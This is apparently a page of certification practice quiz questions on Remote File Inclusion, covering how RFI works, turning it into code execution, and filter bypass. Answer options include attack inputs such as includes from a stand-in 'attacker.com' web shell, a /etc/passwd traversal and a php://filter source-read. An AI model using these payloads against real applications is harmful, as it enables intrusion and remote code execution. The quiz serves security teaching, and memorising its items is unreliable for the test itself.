Remote File Inclusion (RFI) WAHS Practice Questions (Page 4)

Questions 16–19

1. 16application · easy

   A developer is explaining RFI to a junior team member. Which statement accurately describes the mechanism of RFI?

   • AThe attacker tricks the application into including a file from an external server, and if the file contains code, the server executes it.
   • BThe attacker uses SQL injection to read files from the database.
   • CThe attacker exploits a buffer overflow to execute code on the server.
   • DThe attacker uploads a malicious file to the server and then triggers its execution.
   Reveal Solution Discussion Select an answer first
2. 17foundation · easy

   Which of the following is a common way to turn an RFI vulnerability into remote code execution?

   • ASending a specially crafted HTTP request that causes the server to open a reverse shell directly.
   • BIncluding a remote file that contains PHP code, such as a web shell, and then accessing it to execute commands.
   • CExploiting the RFI to upload a file to the server using the included remote file's upload functionality.
   • DUsing the RFI to read the server's /etc/passwd file and then cracking the password hashes.
   Reveal Solution Discussion Select an answer first
4. 18application · medium

   A penetration tester is reviewing a PHP application that loads language files using the parameter `?lang=en`. The code uses `include($_GET['lang'] . '.php');`. The tester wants to confirm RFI without causing a permanent change to the server. Which action should the tester take first?

   • ARequest `?lang=shell.php` and see if the server executes it.
   • BRequest `?lang=php://filter/convert.base64-encode/resource=index.php` and decode the output.
   • CRequest `?lang=../../../../etc/passwd` and check if the file content is returned.
   • DRequest `?lang=http://attacker.com/shell.txt` and observe whether the response includes the remote file's content.
   Reveal Solution Discussion Select an answer first
5. 19application · hard

   A web application blocks RFI by checking if the `page` parameter starts with `http`. The check is performed after URL decoding. An attacker wants to bypass this filter. Which payload is most likely to succeed?

   • A`?page=//attacker.com/shell.txt`
   • B`?page=http://attacker.com/shell.txt`
   • C`?page=%68ttp://attacker.com/shell.txt`
   • D`?page=php://filter/convert.base64-encode/resource=index.php`
   Reveal Solution Discussion Select an answer first